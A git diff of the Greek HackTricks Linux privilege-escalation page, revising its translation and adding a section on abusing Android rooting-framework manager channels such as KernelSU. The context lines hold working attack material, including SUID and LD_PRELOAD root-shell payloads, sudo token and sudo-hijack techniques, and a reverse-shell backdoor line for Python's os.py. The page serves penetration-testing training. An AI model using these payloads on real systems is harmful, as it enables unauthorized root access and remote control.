 #Info about me
 id || (whoami && groups) 2>/dev/null
@@ -681,9 +681,9 @@ fi
 ```bash
 grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
 ```
-### Γνωστά passwords
+### Γνωστοί κωδικοί
 
-Αν **γνωρίζετε κάποιο password** του περιβάλλοντος **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας το password.
+Αν **γνωρίζετε οποιονδήποτε κωδικό** του περιβάλλοντος **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό.
 
 ### Su Brute
 
@@ -694,7 +694,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
 
 ### $PATH
 
-Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιο φάκελο του $PATH** μπορεί να είστε σε θέση να ανεβάσετε δικαιώματα δημιουργώντας **ένα backdoor μέσα στον γράψιμο φάκελο** με το όνομα κάποιας εντολής που θα εκτελείται από διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον γράψιμο φάκελο σας στο $PATH.
+Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να κλιμακώσετε τα δικαιώματα σας δημιουργώντας μια πίσω πόρτα μέσα στον εγγράψιμο φάκελο με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από έναν διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελο σας στο $PATH.
 
 ### SUDO και SUID
 
@@ -736,9 +736,9 @@ User waldo may run the following commands on admirer:
 ```bash
 sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
 ```
-### Sudo εκτέλεση παράκαμψη διαδρομών
+### Sudo execution bypassing paths
 
-**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
+**Πηδήξτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
 ```bash
 sudo less /var/logs/anything
 less>:e /etc/shadow #Jump to read other files using privileged less
@@ -769,14 +769,14 @@ sudo less
 
 ### SUID δυαδικό αρχείο με διαδρομή εντολής
 
-Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείς να προσπαθήσεις να **εξάγεις μια συνάρτηση** με το όνομα της εντολής που καλεί το αρχείο suid.
+Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείς να προσπαθήσεις να **εξάγεις μια συνάρτηση** με το όνομα της εντολής που καλεί το suid αρχείο.
 
 Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσεις να δημιουργήσεις τη συνάρτηση και να την εξάγεις:
 ```bash
 function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
 export -f /usr/sbin/service
 ```
-Τότε, όταν καλέσετε το δυαδικό αρχείο suid, αυτή η λειτουργία θα εκτελείται
+Τότε, όταν καλέσετε το δυαδικό αρχείο suid, αυτή η συνάρτηση θα εκτελείται
 
 ### LD_PRELOAD & **LD_LIBRARY_PATH**
 
@@ -809,7 +809,7 @@ system("/bin/bash");
 cd /tmp
 gcc -fPIC -shared -o pe.so pe.c -nostartfiles
 ```
-Τελικά, **κλιμακώστε τα δικαιώματα** εκτελώντας
+Τελικά, **escalate privileges** τρέχοντας
 ```bash
 sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
 ```
@@ -855,11 +855,11 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
 ```
 Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει να ανυψώσει τα δικαιώματα πρόσβασης χειρίζοντας τις άδειες αρχείων και εκτελώντας ένα shell με ανυψωμένα δικαιώματα.
 
-Μεταγλωττίστε το παραπάνω αρχείο C σε ένα κοινόχρηστο αντικείμενο (.so) με:
+Μεταγλωττίστε το παραπάνω αρχείο C σε ένα αρχείο κοινής βιβλιοθήκης (.so) με:
 ```bash
 gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
 ```
-Τέλος, η εκτέλεση του επηρεαζόμενου SUID δυαδικού αρχείου θα πρέπει να ενεργοποιήσει την εκμετάλλευση, επιτρέποντας πιθανή παραβίαση του συστήματος.
+Τελικά, η εκτέλεση του επηρεαζόμενου SUID δυαδικού αρχείου θα πρέπει να ενεργοποιήσει την εκμετάλλευση, επιτρέποντας πιθανή παραβίαση του συστήματος.
 
 ## Shared Object Hijacking
 ```bash
@@ -892,7 +892,7 @@ system("/bin/bash -p");
 
 ### GTFOBins
 
-[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψουν τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή.
+[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψει τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή.
 
 Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
 
@@ -915,12 +915,12 @@ https://gtfoargs.github.io/
 
 ### Επαναχρησιμοποίηση Σημείων Sudo
 
-Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το διακριτικό συνεδρίας**.
+Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αναλαμβάνοντας το session token**.
 
 Απαιτήσεις για την κλιμάκωση προνομίων:
 
-- Έχετε ήδη ένα κέλυφος ως χρήστης "_sampleuser_"
-- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι τις **τελευταίες 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του διακριτικού sudo που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης)
+- Έχετε ήδη ένα shell ως χρήστης "_sampleuser_"
+- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης)
 - `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0
 - `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε)
 
@@ -928,7 +928,7 @@ https://gtfoargs.github.io/
 
 Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
 
-- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το δυαδικό `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το διακριτικό sudo στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`):
+- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`):
 ```bash
 bash exploit.sh
 /tmp/activate_sudo_token
@@ -939,7 +939,7 @@ sudo su
 bash exploit_v2.sh
 /tmp/sh -p
 ```
-- Η **τρίτη εκμετάλλευση** (`exploit_v3.sh`) θα **δημιουργήσει ένα αρχείο sudoers** που καθιστά **τους sudo tokens αιώνιους και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo**
+- Η **τρίτη εκμετάλλευση** (`exploit_v3.sh`) θα **δημιουργήσει ένα αρχείο sudoers** που καθιστά **τους sudo tokens αιώνιους και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν το sudo**
 ```bash
 bash exploit_v3.sh
 sudo su
@@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
 ```
 ### Sudo Hijacking
 
-Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να κλιμακώσει τα δικαιώματα και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα, προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται.
+Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να κλιμακώσει τα δικαιώματα και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται.
 
 Σημειώστε ότι αν ο χρήστης χρησιμοποιεί ένα διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε τη νέα διαδρομή. Για παράδειγμα, το [sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί τα `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
 
@@ -998,7 +998,7 @@ zsh
 echo $PATH
 sudo ls
 ```
-## Shared Library
+## Κοινή Βιβλιοθήκη
 
 ### ld.so
 
@@ -1058,11 +1058,11 @@ linux-capabilities.md
 ## Δικαιώματα καταλόγου
 
 Σε έναν κατάλογο, το **bit για "εκτέλεση"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" στον φάκελο.\
-Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**.
+Το **bit "ανάγνωσης"** υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **bit "εγγραφής"** υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και **δημιουργήσει** νέα **αρχεία**.
 
 ## ACLs
 
-Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανών να **παρακάμπτουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
+Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
 
 **Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο:
 ```bash
@@ -1143,11 +1143,11 @@ Check **Valentine box from HTB** for an example.
 
 ### AuthorizedKeysFile
 
-Καθορίζει αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως το `%h`, το οποίο θα αντικατασταθεί από τον κατάλογο του χρήστη. **Μπορείτε να υποδείξετε απόλυτους διαδρομές** (ξεκινώντας από `/`) ή **σχετικές διαδρομές από το σπίτι του χρήστη**. Για παράδειγμα:
+Καθορίζει αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως το `%h`, το οποίο θα αντικατασταθεί από τον κατάλογο του χρήστη. **Μπορείτε να υποδείξετε απόλυτους διαδρομές** (ξεκινώντας από `/`) ή **σχετικές διαδρομές από τον κατάλογο του χρήστη**. Για παράδειγμα:
 ```bash
 AuthorizedKeysFile    .ssh/authorized_keys access
 ```
-Αυτή η ρύθμιση θα υποδείξει ότι αν προσπαθήσετε να συνδεθείτε με το **ιδιωτικό** κλειδί του χρήστη "**testusername**", το ssh θα συγκρίνει το δημόσιο κλειδί σας με αυτά που βρίσκονται στα `/home/testusername/.ssh/authorized_keys` και `/home/testusername/access`
+Αυτή η ρύθμιση θα υποδείξει ότι αν προσπαθήσετε να συνδεθείτε με το **ιδιωτικό** κλειδί του χρήστη "**testusername**", το ssh θα συγκρίνει το δημόσιο κλειδί σας με αυτά που βρίσκονται στα `/home/testusername/.ssh/authorized_keys` και `/home/testusername/access`.
 
 ### ForwardAgent/AllowAgentForwarding
 
@@ -1177,7 +1177,7 @@ ssh-forward-agent-exploitation.md
 ```bash
 ls -l /etc/profile /etc/profile.d/
 ```
-Αν βρείτε οποιοδήποτε περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**.
+Αν βρείτε κάποιο περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**.
 
 ### Αρχεία Passwd/Shadow
 
@@ -1286,7 +1286,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
 ```
 ### Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης
 
-Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **διάφορα πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\
+Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **πολλά πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\
 **Ένα άλλο ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε γι' αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών πρόσβασης που είναι αποθηκευμένοι σε τοπικό υπολογιστή για Windows, Linux & Mac.
 
 ### Καταγραφές
@@ -1319,7 +1319,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
 
 ### Python library hijacking
 
-Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
+Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελείται το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
 
 Για να **backdoor the library** απλά προσθέστε στο τέλος της βιβλιοθήκης os.py την εξής γραμμή (αλλάξτε IP και PORT):
 ```python
@@ -1327,26 +1327,26 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
 ```
 ### Logrotate exploitation
 
-Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να παραποιηθεί ώστε να εκτελεί αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
+Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να παραποιηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
 
 > [!TIP]
 > Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες
 
 Περισσότερες λεπτομέρειες σχετικά με την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
 
-Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με το [**logrotten**](https://github.com/whotwagner/logrotten).
+Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με [**logrotten**](https://github.com/whotwagner/logrotten).
 
-Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε διαπιστώσετε ότι μπορείτε να τροποποιήσετε τα logs, ελέγξτε ποιος διαχειρίζεται αυτά τα logs και ελέγξτε αν μπορείτε να ανυψώσετε δικαιώματα αντικαθιστώντας τα logs με symlinks.
+Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε διαπιστώσετε ότι μπορείτε να τροποποιήσετε τα αρχεία καταγραφής, ελέγξτε ποιος διαχειρίζεται αυτά τα αρχεία και ελέγξτε αν μπορείτε να ανυψώσετε τα δικαιώματα αντικαθιστώντας τα αρχεία καταγραφής με symlinks.
 
 ### /etc/sysconfig/network-scripts/ (Centos/Redhat)
 
 **Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
 
-Αν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**.
+Εάν, για οποιονδήποτε λόγο, ένας χρήστης είναι σε θέση να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**.
 
 Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d).
 
-Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο λευκό διάστημα εκτελούνται ως root**.
+Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Εάν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο κενό διάστημα εκτελούνται ως root**.
 
 Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_
 ```bash
@@ -1356,11 +1356,11 @@ DEVICE=eth0
 ```
 ### **init, init.d, systemd, και rc.d**
 
-Ο φάκελος `/etc/init.d` είναι το σπίτι των **scripts** για το System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελούνται άμεσα ή μέσω συμβολικών συνδέσμων που βρίσκονται στο `/etc/rc?.d/`. Ένας εναλλακτικός φάκελος σε συστήματα Redhat είναι το `/etc/rc.d/init.d`.
+Ο φάκελος `/etc/init.d` είναι το σπίτι των **scripts** για το System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελούνται απευθείας ή μέσω συμβολικών συνδέσμων που βρίσκονται στο `/etc/rc?.d/`. Ένας εναλλακτικός δρόμος σε συστήματα Redhat είναι το `/etc/rc.d/init.d`.
 
 Από την άλλη πλευρά, το `/etc/init` σχετίζεται με το **Upstart**, μια νεότερη **διαχείριση υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα scripts του SysVinit εξακολουθούν να χρησιμοποιούνται παράλληλα με τις ρυθμίσεις του Upstart λόγω ενός επιπέδου συμβατότητας στο Upstart.
 
-**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής αρχικοποίησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος.
+**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής εκκίνησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος.
 
 ## Άλλες Τεχνικές
 
@@ -1426,4 +1426,12 @@ cisco-vmanage.md
 - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
 - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
 
+## Android rooting frameworks: κατάχρηση manager-channel
+
+Τα Android rooting frameworks συνήθως συνδέουν μια syscall για να εκθέσουν τη λειτουργικότητα του πυρήνα με προνόμια σε έναν διαχειριστή χώρου χρηστών. Αδύνατη αυθεντικοποίηση διαχειριστή (π.χ., έλεγχοι υπογραφής βασισμένοι σε FD-order ή κακές ρυθμίσεις κωδικών πρόσβασης) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον διαχειριστή και να ανυψώσει σε root σε ήδη-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ:
+
+{{#ref}}
+android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
+{{#endref}}
+
 {{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

@@ -0,0 +1,190 @@
+# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Τα frameworks rooting όπως το KernelSU, APatch, SKRoot και Magisk συχνά διορθώνουν τον πυρήνα Linux/Android και εκθέτουν προνομιακή λειτουργικότητα σε μια μη προνομιούχα εφαρμογή "manager" μέσω ενός hooked syscall. Εάν το βήμα αυθεντικοποίησης του manager είναι ελαττωματικό, οποιαδήποτε τοπική εφαρμογή μπορεί να φτάσει σε αυτό το κανάλι και να κλιμακώσει τα προνόμια σε ήδη-rooted συσκευές.
+
+Αυτή η σελίδα αποτυπώνει τις τεχνικές και τις παγίδες που αποκαλύφθηκαν σε δημόσια έρευνα (ιδίως την ανάλυση του Zimperium για το KernelSU v0.5.7) για να βοηθήσει τόσο τις κόκκινες όσο και τις μπλε ομάδες να κατανοήσουν τις επιφάνειες επίθεσης, τα πρωτότυπα εκμετάλλευσης και τις ισχυρές μετρήσεις.
+
+---
+## Αρχιτεκτονική πρότυπο: syscall-hooked manager channel
+
+- Το module/patch του πυρήνα συνδέει ένα syscall (συνήθως prctl) για να λαμβάνει "εντολές" από το userspace.
+- Το πρωτόκολλο είναι συνήθως: magic_value, command_id, arg_ptr/len ...
+- Μια εφαρμογή manager στο userspace αυθεντικοποιείται πρώτα (π.χ., CMD_BECOME_MANAGER). Μόλις ο πυρήνας χαρακτηρίσει τον καλούντα ως αξιόπιστο manager, γίνονται αποδεκτές οι προνομιακές εντολές:
+- Δώστε root στον καλούντα (π.χ., CMD_GRANT_ROOT)
+- Διαχειριστείτε τις λίστες επιτρεπόμενων/απαγορευμένων για su
+- Ρυθμίστε την πολιτική SELinux (π.χ., CMD_SET_SEPOLICY)
+- Ερωτήστε την έκδοση/διαμόρφωση
+- Επειδή οποιαδήποτε εφαρμογή μπορεί να καλέσει syscalls, η ορθότητα της αυθεντικοποίησης του manager είναι κρίσιμη.
+
+Παράδειγμα (σχεδίαση KernelSU):
+- Hooked syscall: prctl
+- Magic value για να παρακαμφθεί στον χειριστή του KernelSU: 0xDEADBEEF
+- Οι εντολές περιλαμβάνουν: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, κ.λπ.
+
+---
+## Ροή αυθεντικοποίησης KernelSU v0.5.7 (όπως υλοποιήθηκε)
+
+Όταν το userspace καλεί prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), το KernelSU επαληθεύει:
+
+1) Έλεγχος προθέματος διαδρομής
+- Η παρεχόμενη διαδρομή πρέπει να ξεκινά με ένα αναμενόμενο πρόθεμα για το UID του καλούντα, π.χ. /data/data/<pkg> ή /data/user/<id>/<pkg>.
+- Αναφορά: core_hook.c (v0.5.7) λογική προθέματος διαδρομής.
+
+2) Έλεγχος ιδιοκτησίας
+- Η διαδρομή πρέπει να ανήκει στο UID του καλούντα.
